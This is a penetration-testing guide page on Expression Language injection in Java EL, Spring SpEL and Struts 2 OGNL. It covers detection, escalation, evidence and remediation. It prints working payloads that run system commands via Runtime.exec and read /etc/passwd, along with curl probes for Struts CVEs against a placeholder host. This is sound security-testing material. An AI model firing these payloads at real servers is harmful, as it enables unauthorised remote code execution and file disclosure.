7 min read

Exploitation A05

Expression Language Injection

Expression Language injection is the Java-family slice of server-side template injection: user input reaches an evaluator that treats it as code. This page covers Java Unified EL, Spring SpEL and Struts OGNL. For Jinja2, Twig, Freemarker and the other template engines, use the SSTI detection guide — the detection method is the same, the payloads are not.

Danger

SSTI/EL injection typically leads to full RCE. If you can evaluate expressions, you can usually execute arbitrary system commands. Always test in a controlled environment.

Frameworks: WSTG-INPV-11, WSTG-INPV-18 · ASVS 5.0 V1.3.2 (also V1.3.7) · CWE-917 · T1190

Three Evaluators, Three Syntaxes

Three Java-family evaluators look alike from outside and are not interchangeable. Java Unified EL (JSP, JSF, Jakarta EL) evaluates ${…} immediately, while JSF's #{…} is the same language in deferred form, resolved at render time. Spring's SpEL uses #{…} — but ${…} inside @Value is placeholder resolution by a different resolver, which is why one syntax works where the other is inert. OGNL is Struts 2's language, written %{…} in tag attributes and #{…} for context references.

Impact depends on the context object, not the syntax. SpEL evaluated with StandardEvaluationContext can call type references and constructors; with SimpleEvaluationContext it cannot, and arithmetic is all you get. That is the difference between returning 49 and running a command, so establish which context is in play before rating the finding.

Detection Payloads

Send arithmetic, then a string operation. A bare 49 can be a coincidence — reflected input, or a template that already contained the number. ${7*8} returning 56 is stronger, and ${'a'+'b'} returning ab proves evaluation rather than a numeric echo. Test the same probes in headers, filename fields and error pages: the sink is often not the field you first suspect.

detection-payloads.txt
# Arithmetic and string probes per evaluator
# Java EL (JSP / JSF immediate) and SpEL use the same shape:
${7*7}      → 49
${7*8}      → 56    (rules out a literal 49)
${'a'+'b'}  → ab    (proves evaluation, not echo)

# JSF deferred EL resolves the same expression at render time:
#{7*7}        → 49

# OGNL in a Struts 2 tag attribute:
%{7*7}        → 49

# Test in: URL parameters, POST fields, headers (User-Agent, Referer),
# email templates, PDF generation inputs, and any reflected error message.

Java Unified EL

Java EL reaches user input through JSP attribute values, JSF component bindings, and any code calling ELProcessor.eval() or ExpressionFactory.createValueExpression(). EL 2.2 added method invocation, so ${''.getClass()} is a valid expression and a class-loader chain is reachable; EL 3.0 added static field and method access through ELManager.importClass. Even without class access, ${pageContext} and ${systemProperties} expose the environment.

java-el.txt
# Confirm evaluation
${7*7}                       → 49

# Environment disclosure without class access
${systemProperties['os.name']}
${systemProperties['user.dir']}
${pageContext.request.serverName}

# EL 2.2 method invocation (container-dependent)
${''.getClass().forName('java.lang.Runtime')}

# Read a file through the class API
${''.getClass().forName('java.nio.file.Files').readAllLines(
    ''.getClass().forName('java.nio.file.Paths').get('/etc/passwd'))}

# EL 3.0 static access only works if the container imported the class
# (ELManager.importClass) - otherwise the same payload fails to resolve.
# EL itself has no T() type operator; that syntax is SpEL (next section).

Spring SpEL

T(java.lang.Runtime).getRuntime().exec('id') is SpEL, not Java EL. The T() type operator does not exist in Unified EL, and attributing it to EL is the most common error in write-ups. SpEL reaches user input through @Value with #{}, through SpelExpressionParser.parseExpression() on request data, and through Thymeleaf's __${…}__ preprocessing. The precondition is StandardEvaluationContext: SimpleEvaluationContext blocks type references and constructors, and is the fix Spring documents.

spring-spel.txt
# SpEL confirms with the same arithmetic probe
#{7*7}  →  49

# Type references require StandardEvaluationContext
#{T(java.lang.Runtime).getRuntime().exec('id')}

# Read a file
#{T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}

# Capture command output rather than firing blind
#{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

# Thymeleaf preprocessing reaches SpEL through the template text
__${T(java.lang.Runtime).getRuntime().exec('id')}__

OGNL (Struts 2)

OGNL is the Struts 2 surface, and it earns its own section because the entry points are framework-specific rather than application-specific. %{…} forces evaluation in a tag attribute, and # reaches the OGNL context, which holds the request, the session and the value stack. Static calls use @class@method(…); from Struts 2.3.20 the default SecurityMemberAccess blocks them, so later payloads attack #_memberAccess instead, and which variant works is version-specific. Historic entry points: the Content-Type header (S2-045, CVE-2017-5638), a redirect: or action: parameter prefix (S2-016), and the URL namespace when alwaysSelectFullNamespace is on (S2-057). All three are patched in current releases — finding one means an unpatched Struts.

ognl.txt
# Arithmetic probe in a Struts tag attribute (safe, no side effects)
%{7*7}  →  49

# Context reference: the OGNL context exposes the request object
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletRequest']}

# Static method syntax — blocked by SecurityMemberAccess since Struts 2.3.20
%{@java.lang.Runtime@getRuntime().exec('id')}

# S2-016: the redirect:/action: parameter prefix evaluates the value
curl -s 'https://target.com/login.action?redirect:%24%7B7*7%7D'

# S2-045: Content-Type is parsed as OGNL before the action runs.
# A 500 carrying an OGNL stack trace means the header reached the evaluator;
# a 400 "Unsupported Media Type" means it did not.
curl -s -o /dev/null -w '%{http_code}\n' https://target.com/upload.action \
  -H 'Content-Type: %{7*7}'

# S2-057: namespace evaluation when alwaysSelectFullNamespace is enabled
curl -s 'https://target.com/%24%7B7*7%7D/actionChain1.action'

Confirming Evaluation

Confirm the evaluator before the impact: a 49 from one syntax and an error from another tells you which engine is parsing. Then escalate one step — class access, then a command — and stop at the first step that fails, because that is the finding's real severity. A context that permits arithmetic but blocks type references is a hardened deployment, not an RCE.

Testing Checklist

  • ☐ 1. Identify the evaluator — Spring, Tomcat/JSP or Struts 2 version, plus the error text from a failed probe
  • ☐ 2. Test arithmetic payloads in all input fields: ${7*7}, #{7*7}, %{7*7}
  • ☐ 3. Check if the evaluated result appears in the response (49)
  • ☐ 4. Test in non-obvious injection points: email templates, PDF generation, error pages
  • ☐ 5. Escalate to information disclosure (config, env vars)
  • ☐ 6. Escalate to RCE with engine-specific payloads
  • ☐ 7. Do not reach for tplmap here — it covers template engines, not Unified EL, SpEL or OGNL; the SSTI guide's automation section handles that case
  • ☐ 8. Identify the evaluator from the syntax that resolves: ${7*7} (EL), #{7*7} (SpEL or deferred EL), %{7*7} (OGNL)
  • ☐ 9. Determine the evaluation context — SpEL with SimpleEvaluationContext blocks type references, OGNL with SecurityMemberAccess blocks statics

Evidence Collection

Detection: Request with ${7*7} or #{7*7} and response showing 49

Evaluator: Which syntax resolved, and the error text from the syntaxes that did not — this identifies the engine

Context Type: Whether type references or constructors were reachable, e.g. SpEL StandardEvaluationContext versus SimpleEvaluationContext

Info Disclosure: Extracted configuration, paths, or environment variables

RCE Proof: Output of 'id' or 'hostname' command via template injection

CVSS Range: Info disclosure: 5.3–7.5 | RCE: 9.1–10.0

Remediation

  • • Never pass user input to template evaluation: Treat templates as code, not data.
  • • Whitelist allowed template functions: Restrict which methods and properties can be accessed in expressions.
  • • Use a restricted context: Evaluate SpEL with SimpleEvaluationContext, never StandardEvaluationContext, and keep OGNL's SecurityMemberAccess defaults instead of clearing excluded classes.
  • • Bound the expression: Validate user input against an allowlist of expected values before it reaches an evaluator — expression languages have no safe subset for arbitrary text.

False Positive Identification

  • Math evaluation ≠ RCE: ${7*7} returning 49 confirms EL evaluation, but the security impact depends on whether dangerous classes (Runtime, ProcessBuilder) are accessible — always attempt command execution before rating severity.
  • Template literal vs. EL: JavaScript template literals (backtick syntax) use ${} too — distinguish between client-side JS evaluation and server-side EL injection.
  • Sandboxed EL context: Some frameworks restrict EL evaluation to a safe subset — test for class access and method invocation, not just arithmetic.
  • T() attributed to Java EL: The type operator only exists in SpEL. If the payload used T() and resolved, the parser is SpEL (or Thymeleaf preprocessing) — not Unified EL.
  • Reflected 49: A response containing 49 may simply be your own input echoed back. Re-test with a second expression whose result is not in the request, or with a string concatenation.